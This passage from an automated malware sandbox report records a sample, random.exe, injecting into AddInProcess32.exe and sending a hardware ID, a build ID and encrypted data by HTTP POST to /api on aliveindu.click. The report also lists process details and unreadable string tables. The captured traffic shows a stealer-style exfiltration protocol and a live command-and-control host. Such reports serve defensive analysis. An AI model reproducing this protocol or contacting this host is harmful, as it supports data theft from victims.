2024-12-30 15:18:30 UTC	15331	OUT	Data Raw: 2d 2d 52 49 4e 41 37 53 35 46 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 37 30 35 44 42 41 33 32 44 32 42 34 31 30 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 52 49 4e 41 37 53 35 46 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 52 49 4e 41 37 53 35 46 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 62 46 63 47 68 36 2d 2d 32 39 31 32 0d 0a 2d 2d 52 49 4e 41 37 53 35 46 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --RINA7S5FEContent-Disposition: form-data; name="hwid"99705DBA32D2B41020A4C476FD51BCB1--RINA7S5FEContent-Disposition: form-data; name="pid"1--RINA7S5FEContent-Disposition: form-data; name="lid"bFcGh6--2912--RINA7S5FEContent-Dispo
2024-12-30 15:18:30 UTC	15331	OUT	Data Raw: df 39 3e 58 60 9a d8 c8 f8 9a 12 da f5 a1 e8 39 b9 90 d3 74 d7 5c 0c dc 2b e6 9f 75 f8 15 a5 07 57 7a cf 19 17 7c 0c a2 7a 43 28 f0 e6 0a 05 17 b5 3f 41 02 28 4d 43 69 b5 70 ea 51 27 a6 11 28 5e 41 31 af bd 06 6c ad 8f a3 c7 35 84 57 83 9a 07 46 4d c8 0d c6 c6 c3 59 d4 94 cd 71 ec ae 80 f5 7b 5d f2 75 0c 41 90 9e dc f3 ff df 5f d9 ad 00 e2 96 64 e1 01 00 ef c3 7f 59 56 02 f6 f9 10 1d 95 64 de ed 9c 46 99 15 db 58 76 f6 30 85 2b 7f d6 c7 8f 93 72 f9 cc 9d c2 72 7f 54 0f fd 14 a2 4d 2d e4 bb 36 01 56 d2 a6 92 86 0b f0 ba 54 20 7c 10 8e c0 92 5c 46 2a 75 04 b2 3c 2a 93 b4 72 4f f6 e0 fa c3 e4 d0 cd 77 a9 2c 76 df e2 fd d3 bc e4 cf e4 90 3a b1 8c 2e 17 f4 1b 79 ab d1 52 29 30 d9 48 2d ef 7c 44 7f 74 87 b9 99 9e cf 5f f5 c8 1a 0d ed 9e 0a 23 bf a8 70 f2 77 94 Data Ascii: 9>X`9t\+uWz\|zC(?A(MCipQ'(^A1l5WFMYq{]uA_dYVdFXv0+rrTM-6VT \|\Fu<rOw,v:.yR)0H-\|Dt_#pw
2024-12-30 15:18:30 UTC	15331	OUT	Data Raw: 74 ad 9b 27 af ba 40 4f 4e 3c 39 2c 03 7e 06 ad 66 7f 38 75 ff 13 61 1b da f7 8a 16 ef db 56 26 92 b7 7d e1 2e be 1f eb 4a 7b b6 7b 9d 62 78 f9 53 92 a6 95 33 e8 0d 27 62 c3 31 9e 45 8f 6d e6 1e 9a d0 68 fa e5 d7 8f 1a 5f 6a 6d 95 ba 53 7b a9 1a 42 85 ce cd f6 c7 a6 27 34 d7 f9 49 8a f6 3e 1a fc 50 9c a3 be 94 9b 6b 35 74 45 f8 90 10 53 53 15 3c 3f 20 a0 90 bd 69 8c 04 6c 7c 54 77 03 52 45 d5 b0 ca 12 8d 8a e1 e7 7a a2 c3 8d 93 d1 b3 26 9d cb ce 0e 61 ea 10 f3 ef cb 3b e8 84 f5 73 9b 89 f2 83 9e 65 fd c5 dd 0e 9e 0d d7 07 d4 3f f6 8f 78 54 ac 5d e5 4c 0d 6d 74 1e 4f 9d 87 a3 c3 ee 1a 08 c0 70 a8 b4 63 68 94 c1 62 56 fe 80 57 bd e2 f8 bf c2 8e 2b 56 17 1f e2 ac e7 de c0 b3 93 04 70 61 99 bb ea 85 01 b4 69 3d d7 66 1f 2f fe 15 f6 dc 67 ad ea ff 1d 53 c0 a2 Data Ascii: t'@ON<9,~f8uaV&}.J{{bxS3'b1Emh_jmS{B'4I>Pk5tESS<? il\|TwREz&a;se?xT]LmtOpchbVW+Vpai=f/gS
2024-12-30 15:18:30 UTC	15331	OUT	Data Raw: 83 bb 0d b0 b8 5a cb c3 62 5c d4 7b f8 3e ef f3 2d ad 43 d8 e1 14 9d 77 2b 21 f5 98 e4 2f cf 50 5c 5f c4 40 1f 65 48 16 6a d5 1b 7c 4e 89 e3 77 67 3a 30 13 14 7a 3d 58 1e f6 be 96 01 fd 8d 17 6b cb 8b df d3 13 ce 0e 37 3e b0 7a 25 73 8e 3e 0c 76 6b 0e dc d4 ec b8 14 39 e4 99 f0 40 6f 45 e7 e7 82 15 73 d4 e6 e6 7c 02 6f 27 87 ee c7 2d bb 74 e9 94 92 f5 f4 d5 d8 98 bb cb 2e 37 b8 98 ef ba cf 5f 54 00 1b 5e 6f d7 7e 1e 52 03 e7 22 6f 33 7d 7e 77 2e 9a 3a f0 41 e5 7a 7e 37 31 d8 9c 98 80 ce 96 4e f9 0c 46 12 a3 0a 14 ad 68 8f e9 7e 3d 1b b2 5a 72 9c 2d 5e 5d e8 f5 38 6d ab a0 5b ce 3b b6 c2 25 9f fa 75 3b 9b 23 f1 cd 49 20 e2 d4 a8 1c c3 36 fa e9 d3 d4 e6 e4 4e 91 f0 4e ad d6 f0 23 23 6a eb 98 b4 13 38 6d f1 6b 32 fe 9c 3e 76 c3 78 df b1 c1 28 6f fa 8f 47 ab Data Ascii: Zb\{>-Cw+!/P\_@eHj\|Nwg:0z=Xk7>z%s>vk9@oEs\|o'-t.7_T^o~R"o3}~w.:Az~71NFh~=Zr-^]8m[;%u;#I 6NN##j8mk2>vx(oG
2024-12-30 15:18:30 UTC	15331	OUT	Data Raw: 40 48 64 48 96 3a 92 e4 89 50 3a 8a 97 e1 ba ba 91 34 db af e6 3f e1 fc f5 61 dd 7a f1 f9 3b 39 7c 70 01 b8 00 59 b1 01 e3 75 94 ba 3d 0c 1a dd 5d f3 bc e1 a1 8a e2 9f bb ee a3 0c ec 70 6b d7 a7 fb 2a d0 3b 52 8b 18 d0 a3 1d 36 3c 35 48 31 77 48 6b 0c e3 9b 38 7b 2d 05 12 e5 55 42 c2 06 46 87 06 67 23 5e ac a2 f6 3e 24 09 aa b9 ec 9a e7 b3 1f d7 f3 8c fc ef 48 08 3a 44 80 e0 f0 e7 d5 2f b3 41 fe 3c bc c5 50 b0 22 17 ba a5 18 32 b7 0b d7 d9 33 ef 3b a6 86 b1 6c 4e d7 d8 e5 9f 93 99 7c 5f cc 10 58 f4 3e 4b 93 07 57 ef e1 4c 89 02 73 75 ec 5a 9c cb 66 b3 3b 7c 8b 47 a6 7d d4 58 e7 5b 9a f7 e3 75 58 b6 c7 45 7d f6 bc 42 3c ca 70 91 1d 24 45 46 26 0a 3f ce 6b 02 91 f2 64 85 da b6 c6 5e ed d0 34 6b f4 d0 89 4b b9 09 1f bc db 6b d1 41 a9 3b 56 68 a0 8d 4d f4 41 Data Ascii: @HdH:P:4?az;9\|pYu=]pk*;R6<5H1wHk8{-UBFg#^>$H:D/A<P"23;lN\|_X>KWLsuZf;\|G}X[uXE}B<p$EF&?kd^4kKkA;VhMA
2024-12-30 15:18:30 UTC	15331	OUT	Data Raw: c3 7a be 2b 37 6f 1a e3 c1 bb c2 47 a7 aa ed cd 41 83 77 19 e0 06 dc 98 a5 9e 20 89 de df be d9 3a c9 a4 c4 20 83 25 ce b2 4e f1 28 7a 2a 65 a5 6b 6c 4b 81 2a 4c 77 d2 93 03 69 a9 53 4e 0a 15 27 d8 52 e1 70 e0 69 d2 ac c4 48 fa 45 7c c3 c9 e0 8c 9f 09 89 8e 2d fa fa 35 15 2d 29 e4 1a cd 26 7c a4 eb 74 d7 93 60 4b fc c4 38 5b c2 29 1d 1d 71 64 29 61 dc 15 f8 1d 45 5d 3c 4f 00 31 4f 69 2c 9e 59 32 85 a1 c0 03 06 24 b8 60 eb d9 98 04 7f a3 d6 e2 a0 97 a9 53 2a 67 20 04 32 fe a7 c4 a8 48 b0 1f 23 a5 3f 80 32 79 6b 21 c6 a1 ab 80 65 2e 00 24 d0 2f 6e 81 f9 b5 c3 83 e2 db 4b 17 69 fd 16 b6 3e 4b 63 95 1a d8 ef 14 5b 32 d3 96 5c e8 39 54 03 da 35 a9 f0 e5 e3 46 cf a3 ac 82 7a 0b 55 7a 3e fb db 17 ee ef ac 8e 88 7e 29 67 eb 01 d2 09 51 a4 07 6b 1b ff 24 b6 5e 9f Data Ascii: z+7oGAw : %N(zeklKLwiSN'RpiHE\|-5-)&\|t`K8[)qd)aE]<O1Oi,Y2$`S*g 2H#?2yk!e.$/nKi>Kc[2\9T5FzUz>~)gQk$^
2024-12-30 15:18:30 UTC	15331	OUT	Data Raw: 0b 4c a2 30 6f 29 ce 2d 56 fc b5 9c eb d6 5e 70 69 4d 8e a0 57 28 8c 40 ee 70 ed c6 ed ef cf 21 e7 b0 74 65 76 c3 73 6e 8d 27 28 b2 32 db 2c 3a ed d0 26 43 30 8f a2 4f 09 8b 28 d6 ae 85 aa 1d e5 be 1d 5b 17 02 3f ff 8c a7 bf a0 e8 fa 62 87 9f 79 39 cc 5e 60 18 cd 67 7d b0 6b c2 b7 c7 e4 a3 f4 66 2f 26 22 c2 28 e6 ba 7c 24 32 10 91 e7 5f 4e 96 ed 08 4c 52 47 d3 8f 3f cf 3f de 9b d0 84 3c 2e c7 f3 10 89 41 9a 2d 62 30 43 06 42 8c 59 c9 1a 3c 73 cd 25 42 e6 3d a7 78 a9 b8 00 5c 72 bd 28 35 2a 80 b0 b1 d3 9e 21 b4 8c 6b 22 7a cd 33 5f 5f a3 2e 90 9b e5 29 30 de 67 40 b7 10 01 3f 45 10 66 c8 0a ec cb a1 9b 8e 54 97 75 a9 0b d7 03 e2 6f 39 c5 6d b8 9b 7d 36 03 1b 70 79 6b d3 1f bb 73 fc a1 bb 57 ca 20 fc 47 73 a5 60 08 d3 9b 1c c7 5e ca 4a 2a be d9 fc 42 c7 7d Data Ascii: L0o)-V^piMW(@p!tevsn'(2,:&C0O([?by9^`g}kf/&"(\|$2_NLRG??<.A-b0CBY<s%B=x\r(5!k"z3__.)0g@?EfTuo9m}6pyksW Gs`^JB}
2024-12-30 15:18:30 UTC	15331	OUT	Data Raw: 7b 59 96 a8 ce bc 1a 67 2b c0 24 ff 13 d5 71 3c dc e4 bd 5f 08 76 b3 ea 61 7b 75 d2 a3 cb 09 a8 15 d3 3a 55 88 9a 7f 5d 30 0e 61 ea bf 2c 21 82 60 b9 9e 76 0a 2d d5 b1 77 80 7d df c2 c9 4c 41 08 c2 d8 c0 67 22 32 db e8 c5 c7 08 d3 e3 df cf 89 27 88 05 22 e0 68 ef d2 37 29 a4 c4 95 2d ec 4c a1 40 2c 3e 1d 5e df 36 b3 7a b2 7a d8 9c 98 2e f5 ba 18 15 fb 02 75 d4 8d a6 09 5e ef 47 79 17 61 9d 22 12 e8 5a e3 4f c2 0e 1d 8c 4d 66 54 75 23 c0 ae 2e 28 ae 6c be e8 b0 2c 68 e1 fd 0a c8 60 0b e7 b0 1f 32 f7 64 6a d1 bb db 3e c6 17 79 b6 f9 53 2e 72 57 ac 82 2d 6c db 6a 53 d9 b5 d2 b1 21 99 81 86 9c 0a b5 f3 0f dd 1b aa 95 16 51 94 ba e1 5f 27 02 0b e2 50 72 f0 54 79 28 d7 4c ac 87 53 c2 3e b9 a1 99 bb 5c c2 0b 5a 4a cd aa 1f 43 c0 71 2b a3 21 a6 a5 07 32 63 6b 7b Data Ascii: {Yg+$q<_va{u:U]0a,!`v-w}LAg"2'"h7)-L@,>^6zz.u^Gya"ZOMfTu#.(l,h`2dj>yS.rW-ljS!Q_'PrTy(LS>\ZJCq+!2ck{
2024-12-30 15:18:30 UTC	15331	OUT	Data Raw: 37 eb 2d 1e 8c 5d a0 fc ed 1e ab 73 eb 71 38 8e e3 7b 0b c4 d4 d4 c9 cd 1b 6b 1d d8 bc 51 79 eb dc 7a 06 a9 f1 71 58 d0 c2 c5 0f a7 b1 e0 94 f9 fb 07 ec 62 08 7b a6 24 ea 96 df 43 d1 ee da e1 74 ed 9e dc 4b 99 37 40 8f 20 36 a0 f2 d0 53 88 7c 75 b7 1e e8 46 45 d4 f9 7a 4a 42 64 5d 7a 81 c3 e9 b0 2b 65 0a 84 c4 97 a7 1a 73 9c 4e 95 29 83 f8 62 d4 ee 03 2a b8 9e 12 c0 c3 22 52 be 89 96 3d c3 09 1d a5 af 0b e7 b8 bc eb 34 33 03 75 4c 65 1c 87 90 59 fc ce 07 2d e6 c4 ad 91 1b ad d7 90 de e6 58 f3 2c 55 b9 59 ed 91 b0 f2 eb a7 bc 1b 7b 8d f4 9e 49 8f ab 73 72 5d 58 77 5b ee 86 ca 2e 18 f3 fe f1 e5 3b 74 91 b4 4d fd df 3d d0 22 1b 6e fe 50 27 cc 1e dc 33 a0 9f f5 e6 26 9c 39 cf d8 7f 9d c5 7c de 1d 54 e7 a2 4c ba 15 49 75 71 48 ff b6 1b 15 6a fa e6 26 44 1e 1b Data Ascii: 7-]sq8{kQyzqXb{$CtK7@ 6S\|uFEzJBd]z+esN)b*"R=43uLeY-X,UY{Isr]Xw[.;tM="nP'3&9\|TLIuqHj&D
2024-12-30 15:18:30 UTC	15331	OUT	Data Raw: 07 7a df de e4 86 93 9c 00 87 6b 65 21 02 39 dd d6 c1 5e 97 03 3c b5 3e c0 76 ba 05 e1 14 b1 f6 9c 27 20 74 1f b0 66 ff 78 7a 7c 2a 1d b1 91 19 42 41 f9 ae f7 1b 55 77 a9 8b b3 ce 3c 36 bf 47 c3 22 f8 c3 b8 63 fd b2 44 31 eb 77 0c 2f cd a0 80 18 eb 92 37 d9 dd 4e 0b c9 bb 02 36 a7 66 57 1a 2c 67 d5 24 a5 82 f2 3e 3c b1 37 48 7b e2 40 ad 9a 25 f3 fc c5 a5 6c 8f 19 db 81 60 8d e2 0d 04 aa 2e 4f 90 3e 3c 65 7c bc 45 48 88 5b 30 70 c9 81 82 42 d7 f5 2f c6 07 cd 84 bb 0e d6 0a 2d 62 cd 00 a9 2a 68 d1 58 6e 1e 9a 12 e2 16 06 08 8e db 3a 63 dd 20 34 d3 bb 60 1b 3c fc dc db 4a 69 9d 40 73 1c 57 19 0a b2 69 d0 ee de e0 87 c8 b2 42 23 96 b3 6f 3c 58 87 d7 67 1e 11 65 be 22 51 61 53 7f 3b a7 72 1e a3 5c 97 22 0f f2 bc 41 c6 09 12 0f b2 73 63 48 35 86 f3 0a a2 b7 66 Data Ascii: zke!9^<>v' tfxz\|BAUw<6G"cD1w/7N6fW,g$><7H{@%l`.O><e\|EH[0pB/-bhXn:c 4`<Ji@sWiB#o<Xge"QaS;r\"AscH5f
2024-12-30 15:18:32 UTC	1139	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 15:18:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1b9un5u0ll3gfg7lptn4hpvsjj; expires=Fri, 25 Apr 2025 09:05:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9dF0Qmsx7f5f6uKmtbIh%2Fi%2B0%2FLccEHMO1CmjRCJK%2F6NxfNHKv%2B0zdwiMpDl0P3CR3qLUR4vVavr%2FtrJ1WSR60cdVqF3oyH7FMojErKEL3UloRDjpep1H6PUVdUFjc%2B77deU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa300baddce8cd7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1806&min_rtt=1783&rtt_var=715&sent=206&recv=602&lost=0&retrans=0&sent_bytes=2836&recv_bytes=590338&delivery_rate=1483739&cwnd=237&unsent_bytes=0&cid=363eab8d1ee512dc&ts=2045&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	57974	104.21.64.143	443	2104	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 15:18:33 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 81 Host: aliveindu.click
2024-12-30 15:18:33 UTC	81	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 62 46 63 47 68 36 2d 2d 32 39 31 32 26 6a 3d 26 68 77 69 64 3d 39 39 37 30 35 44 42 41 33 32 44 32 42 34 31 30 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 Data Ascii: act=get_message&ver=4.0&lid=bFcGh6--2912&j=&hwid=99705DBA32D2B41020A4C476FD51BCB1
2024-12-30 15:18:33 UTC	1119	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 15:18:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9h0amm2ea21l5ubglemol1r72m; expires=Fri, 25 Apr 2025 09:05:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cVpS7%2BTZEaDGgaNwEP79ducSP1Yf0ehMjnOkKfqAPtHw84TUVIoXRKiYJStsOLd9L6RBojIvj10ZdmyjSj9f8qVULbMqO8GyF3Bo01rvOyJFgYNEQnnkwd84Jq7regdhr2Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa300cabceec413-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1694&min_rtt=1687&rtt_var=647&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=980&delivery_rate=1673352&cwnd=173&unsent_bytes=0&cid=bf009a6b75c1027d&ts=486&x=0"
2024-12-30 15:18:33 UTC	54	IN	Data Raw: 33 30 0d 0a 31 4e 4f 38 39 53 48 61 6b 4c 48 4d 73 68 56 53 4f 62 35 78 54 45 31 71 54 68 74 52 36 67 67 75 45 62 77 4d 62 70 51 63 42 56 47 50 6a 67 3d 3d 0d 0a Data Ascii: 301NO89SHakLHMshVSOb5xTE1qThtR6gguEbwMbpQcBVGPjg==
2024-12-30 15:18:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	10:16:53
Start date:	30/12/2024
Path:	C:\Users\user\Desktop\random.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\random.exe"
Imagebase:	0x300000
File size:	847'872 bytes
MD5 hash:	99DD1CBBD08BE12B84138BA44F2C0C3C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:17:08
Start date:	30/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0xc70000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:17:41
Start date:	30/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0xba0000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:17:49
Start date:	30/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0xca0000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	8.7%
Total number of Nodes:	208
Total number of Limit Nodes:	16

Executed Functions

Function 0C327F11 Relevance: 115.7, Strings: 86, Instructions: 8225
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

)N$F, xrefs: 0C331E34
)O, xrefs: 0C334DDE
{F, xrefs: 0C336035
TTC, xrefs: 0C33135E
T`2W, xrefs: 0C333634
z, xrefs: 0C335E44
tY%\, xrefs: 0C3366A7
tY%\, xrefs: 0C33257E
A=P3, xrefs: 0C3337DA
KnV+, xrefs: 0C335BA2
sR=, xrefs: 0C3306FF
s_G, xrefs: 0C3356E5
T{0x, xrefs: 0C331D9C
=Gtg, xrefs: 0C336A5E
*,7, xrefs: 0C332267
O:, xrefs: 0C333165
'Ob, xrefs: 0C337AFB
G1, xrefs: 0C3379C6
)N$F, xrefs: 0C335F5D
ioJl, xrefs: 0C334750
+^], xrefs: 0C338006
&|n+, xrefs: 0C332A54
1:5A, xrefs: 0C3328B1
pP{$, xrefs: 0C333528
'Ob, xrefs: 0C3339D2
XkC`, xrefs: 0C3361D6
)O, xrefs: 0C330CB5
KnV+, xrefs: 0C331A79
1%d, xrefs: 0C337F22
T`2W, xrefs: 0C33775D
~f, xrefs: 0C331887
s_G, xrefs: 0C3315BC
G1, xrefs: 0C33389D
Ohy{, xrefs: 0C332545
Ohy{, xrefs: 0C33666E
TInC, xrefs: 0C335C15
5lz, xrefs: 0C337370
/lEC, xrefs: 0C332E4F
ioJl, xrefs: 0C330627
2p!, xrefs: 0C335C43
/lEC, xrefs: 0C336F78
O:, xrefs: 0C33728E
{$]M, xrefs: 0C3361BA
wsC=, xrefs: 0C336B95
Yt_, xrefs: 0C33407B
sR=, xrefs: 0C334828
p, xrefs: 0C337E0D
z, xrefs: 0C331D1B
&|n+, xrefs: 0C336B7D
Yt_, xrefs: 0C3381A4
p, xrefs: 0C333CE4
T{0x, xrefs: 0C335EC5
~f, xrefs: 0C3359B0
J,QT, xrefs: 0C336A1D
1:5A, xrefs: 0C3369DA
&5t, xrefs: 0C333E3A
TInC, xrefs: 0C331AEC
^"v|, xrefs: 0C33151D
1%d, xrefs: 0C333DF9
c_z, xrefs: 0C336C76
_%]&, xrefs: 0C3366F0
=Gtg, xrefs: 0C332935
TTC, xrefs: 0C335487
&U$?, xrefs: 0C333597
<i$, xrefs: 0C335992
<i$, xrefs: 0C331869
2p!, xrefs: 0C331B1A
_%]&, xrefs: 0C3325C7
*,7, xrefs: 0C336390
A=P3, xrefs: 0C337903
5lz, xrefs: 0C333247
=9y2, xrefs: 0C331158
&U$?, xrefs: 0C3376C0
c_z, xrefs: 0C332B4D
9jXF, xrefs: 0C3356A6
J,QT, xrefs: 0C3328F4
^"v|, xrefs: 0C335646
+^], xrefs: 0C333EDD
pP{$, xrefs: 0C337651
wsC=, xrefs: 0C332A6C
&5t, xrefs: 0C337F63
=9y2, xrefs: 0C335281
XkC`, xrefs: 0C3320AD
{$]M, xrefs: 0C332091
{F, xrefs: 0C331F0C
9jXF, xrefs: 0C33157D

Memory Dump Source

Source File: 00000000.00000002.2856383785.000000000C320000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c320000_random.jbxd

Similarity

API ID:
String ID: +^]$+^]$5lz$5lz$ z$ z$&5t$&5t$&U$?$&U$?$&|n+$&|n+$'Ob$'Ob$)N$F$)N$F$)O$)O$*,7$*,7$/lEC$/lEC$1%d$1%d$1:5A$1:5A$2p!$2p!$9jXF$9jXF$<i$$<i$$=9y2$=9y2$=Gtg$=Gtg$A=P3$A=P3$J,QT$J,QT$KnV+$KnV+$Ohy{$Ohy{$O:$O:$TInC$TInC$T`2W$T`2W$T{0x$T{0x$TTC$TTC$XkC`$XkC`$Yt_$Yt_$^"v|$^"v|$_%]&$_%]&$c_z$c_z$ioJl$ioJl$pP{$$pP{$$p$p$sR=$sR=$s_G$s_G$tY%\$tY%\$wsC=$wsC=${$]M${$]M${F${F$~f$~f$G1$G1
API String ID: 0-1331655061
Opcode ID: 55e21efd6cc2f4e9f5ba951ef5bb10472627bdac1cdaa9ee3967e42b5f04990b
Instruction ID: a83df1e85d94eb2fb77cb52ede02efc573c1487e44eb5b8d600041f1e0248a8f
Opcode Fuzzy Hash: 55e21efd6cc2f4e9f5ba951ef5bb10472627bdac1cdaa9ee3967e42b5f04990b
Instruction Fuzzy Hash: 6BE31879B4021A4FD75CCE2ECD916A5A6E76BCC300B54E2BE440ADF798DE34DE468B40

Function 026D1DF2 Relevance: 48.6, Strings: 36, Instructions: 3627
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

KL, xrefs: 026D220B
dIa, xrefs: 026D40FA
z>S!, xrefs: 026D3886
3="3, xrefs: 026D230E
yV, xrefs: 026D4C08
[1Iq, xrefs: 026D31DA
ZS*, xrefs: 026D3313
K$Dg, xrefs: 026D417A
FXw, xrefs: 026D24E3
#, xrefs: 026D3B18
(d, xrefs: 026D215B
UtC, xrefs: 026D31CC
=85I, xrefs: 026D4D5F
ckL, xrefs: 026D322D
#`$S, xrefs: 026D26A2
G^Ev, xrefs: 026D4594
t=_, xrefs: 026D20F9
y4@, xrefs: 026D37E9
a^S,, xrefs: 026D35E6
^1, xrefs: 026D43A1
#d8, xrefs: 026D2257
r`$, xrefs: 026D49FF
(-n, xrefs: 026D4DCB
_W;f, xrefs: 026D27B1
f<, xrefs: 026D300C
%#w, xrefs: 026D24DE
#Ik3, xrefs: 026D31F6
%.I9, xrefs: 026D414F
d_lc, xrefs: 026D503E
G3Y, xrefs: 026D2BAF
{Q9, xrefs: 026D395C
>1I+, xrefs: 026D2D05
1?E, xrefs: 026D30F8
f), xrefs: 026D3338
#]/, xrefs: 026D3474
b@(, xrefs: 026D434E

Memory Dump Source

Source File: 00000000.00000002.2827091074.00000000026D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26d0000_random.jbxd

Similarity

API ID:
String ID: ^1$f)$#Ik3$#]/$#`$S$#d8$%#w$%.I9$(-n$(d$1?E$3="3$=85I$>1I+$FXw$G^Ev$G3Y$K$Dg$KL$UtC$ZS*$[1Iq$_W;f$a^S,$b@($ckL$dIa$d_lc$f<$r`$$t=_$y4@$z>S!${Q9$#$yV
API String ID: 0-2677317703
Opcode ID: 3d4d57ad7c38a4c06342a4214d7c4286dac87e07e600d3101fff65f33719f7f2
Instruction ID: 82269f58ba8923922c21df01822cc97ab735a137167c841692c5930607d4e071
Opcode Fuzzy Hash: 3d4d57ad7c38a4c06342a4214d7c4286dac87e07e600d3101fff65f33719f7f2
Instruction Fuzzy Hash: 33531779B4121A4FDB5CCE2DC9912A9F6E76BCD300B54E27A840ADF398DE34DD468B40

Function 026D20A0 Relevance: 48.4, Strings: 36, Instructions: 3417
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

KL, xrefs: 026D220B
dIa, xrefs: 026D40FA
z>S!, xrefs: 026D3886
3="3, xrefs: 026D230E
yV, xrefs: 026D4C08
[1Iq, xrefs: 026D31DA
ZS*, xrefs: 026D3313
K$Dg, xrefs: 026D417A
FXw, xrefs: 026D24E3
#, xrefs: 026D3B18
(d, xrefs: 026D215B
UtC, xrefs: 026D31CC
=85I, xrefs: 026D4D5F
ckL, xrefs: 026D322D
#`$S, xrefs: 026D26A2
G^Ev, xrefs: 026D4594
t=_, xrefs: 026D20F9
y4@, xrefs: 026D37E9
a^S,, xrefs: 026D35E6
^1, xrefs: 026D43A1
#d8, xrefs: 026D2257
r`$, xrefs: 026D49FF
(-n, xrefs: 026D4DCB
_W;f, xrefs: 026D27B1
f<, xrefs: 026D300C
%#w, xrefs: 026D24DE
#Ik3, xrefs: 026D31F6
%.I9, xrefs: 026D414F
d_lc, xrefs: 026D503E
G3Y, xrefs: 026D2BAF
{Q9, xrefs: 026D395C
>1I+, xrefs: 026D2D05
1?E, xrefs: 026D30F8
f), xrefs: 026D3338
